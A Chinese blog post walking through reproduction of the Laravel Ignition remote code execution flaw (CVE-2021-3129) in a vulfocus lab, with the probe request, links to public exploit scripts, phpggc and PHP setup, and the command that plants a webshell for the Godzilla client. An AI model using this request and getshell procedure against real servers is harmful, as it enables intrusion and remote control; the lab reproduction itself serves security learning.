laravel RCE(cve-2021-3129)复现

laravel RCE复现

漏洞影响版本:Laravel <= 8.4.2
1、漏洞复现
使用vulfocus靶场

2、漏洞验证是否存在
发送以下的数据包进行确认是否存在此漏洞

POST /_ignition/execute-solution HTTP/1.1
Host: host
Content-Type: application/json
Content-Length: 168
 
{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "jack",
 "viewFile": "jack1"
 }
}
}

如果出现以下的界面返回500,并且页面有file_get_content()说明就存在这个漏洞

推荐两款工具

https://github.com/zhzyker/CVE-2021-3129   //这个是进行命令执行的,可以修改源码进行执行想要的命令
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP //这个是直接getshell的脚本,但是必须使用哥斯拉3以下的版本才能连接上,试过了

tips:注意这两个脚本都得配合phpggc使用,需要把脚本放到phpggc同一个文件夹里面进行使用

phpggc下载安装
1、直接使用git命令进行下载

git clone https://github.com/ambionics/phpggc.git

2、安装php环境

更新系统
sudo yum update
安装 EPEL 存储库(Extra Packages for Enterprise Linux):
sudo yum install epel-release
安装 Remi 存储库,它包含了较新版本的PHP:
sudo yum install https://rpms.remirepo.net/enterprise/remi-release-7.rpm
启用 Remi 存储库中的 PHP 7.4:
sudo yum-config-manager --enable remi-php74
安装 PHP 7.4 和一些常用扩展:
sudo yum install php php-common php-cli php-fpm php-mysql php-xml php-json php-zip php-gd php-mbstring php-curl php-openssl php-ldap php-intl php-bcmath php-opcache
这会安装PHP 7.4以及一些常用的扩展
启动 PHP-FPM 服务并设置它在系统启动时自动启动:
sudo systemctl start php-fpm
sudo systemctl enable php-fpm
检查 PHP 版本以确保安装成功:
php -v

之后启动phpggc查看是否能正常的使用
出现这个并且没有报错,说明环境已经安装好

然后就是直接运行脚本直接进行getshell
命令

//注意这个有个小细节,不能在url后面多加一个/,不然就运行失败
python3 laravel-CVE-2021-3129-EXP.py http://host


之后使用哥斯拉2.9进行连接

推荐一个博主写的详细文章。

https://www.cnblogs.com/xiaoyunxiaogang/p/16913350.html

posted @ 2023-09-28 12:39  Running_J  阅读(560)  评论(0编辑  收藏  举报